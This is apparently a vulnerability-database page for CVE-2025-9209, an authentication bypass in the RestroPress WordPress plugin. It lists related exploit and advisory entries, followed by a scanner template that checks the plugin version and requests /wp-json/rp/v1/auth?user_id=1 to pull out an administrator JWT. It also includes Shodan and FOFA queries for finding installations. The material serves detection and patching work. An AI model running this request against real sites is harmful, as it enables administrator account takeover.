| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| RestroPress-WordPress-Plugin-Sensitive-API-Key-amp-Token-Exposure-Vulnerability-Exploitation | 30 May 202605:37 | – | githubexploit | |
| Exploit for CVE-2025-9209 | 5 Nov 202520:31 | – | githubexploit | |
| Ntemplatesbyxit | 7 May 202615:36 | – | githubexploit | |
| Exploit for Improper Input Validation in Microsoft | 30 May 202605:13 | – | githubexploit | |
| CVE-2025-9209 | 5 Nov 202519:31 | – | circl | |
| WordPress plugin RestroPress 信息泄露漏洞 | 3 Oct 202500:00 | – | cnnvd | |
| CVE-2025-9209 | 3 Oct 202511:17 | – | cve | |
| CVE-2025-9209 RestroPress – Online Food Ordering System 3.0.0 - 3.1.9.2 - Unauthenticated Information Exposure to Authentication Bypass via Forged JWT | 3 Oct 202511:17 | – | cvelist | |
| EUVD-2025-32281 | 3 Oct 202511:17 | – | euvd | |
| CVE-2025-9209 | 3 Oct 202512:15 | – | nvd |
id: CVE-2025-9209
info:
name: RestroPress 3.0.0-3.2.1 - Authentication Bypass
author: 0x_Akoko
severity: critical
description: |
RestroPress Online Food Ordering System WordPress plugin 3.0.0 to 3.1.9.2 contains an authentication bypass caused by exposure of user private tokens and API data via /wp-json/wp/v2/users endpoint, letting unauthenticated attackers forge JWT tokens and authenticate as other users including administrators, exploit requires no authentication.
impact: |
Unauthenticated attackers can forge JWT tokens and authenticate as any user, including administrators, leading to full account takeover.
remediation: |
Update to the latest version beyond 3.1.9.2.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/restropress/restropress-online-food-ordering-system-300-3192-unauthenticated-information-exposure-to-authentication-bypass-via-forged-jwt
- https://nvd.nist.gov/vuln/detail/CVE-2025-9209
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-9209
epss-score: 0.09621
epss-percentile: 0.93027
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
shodan-query: http.html:"/wp-content/plugins/restropress/"
fofa-query: body="/wp-content/plugins/restropress/"
tags: cve,cve2025,wordpress,wp,wp-plugin,restropress,auth-bypass
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/restropress/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "RestroPress")'
- 'compare_versions(version, ">= 3.0.0", "<= 3.2.1")'
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-json/rp/v1/auth?user_id=1 HTTP/1.1
Host: {{Hostname}}
Authorization: probe-{{randstr}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "\"token\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.")'
condition: and
extractors:
- type: regex
part: body
name: jwt_token
group: 1
regex:
- '"token"\s*:\s*"(eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)"'
# digest: 4a0a0047304502204f4b8fa23536dfeec239a6b2b307c1c5b4808cc785cc54d27a4b07c36c57e5b5022100fae3237826d25513388b3faba1ea1c80b3bc32834e987759a6a27e4a8523ee1d:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation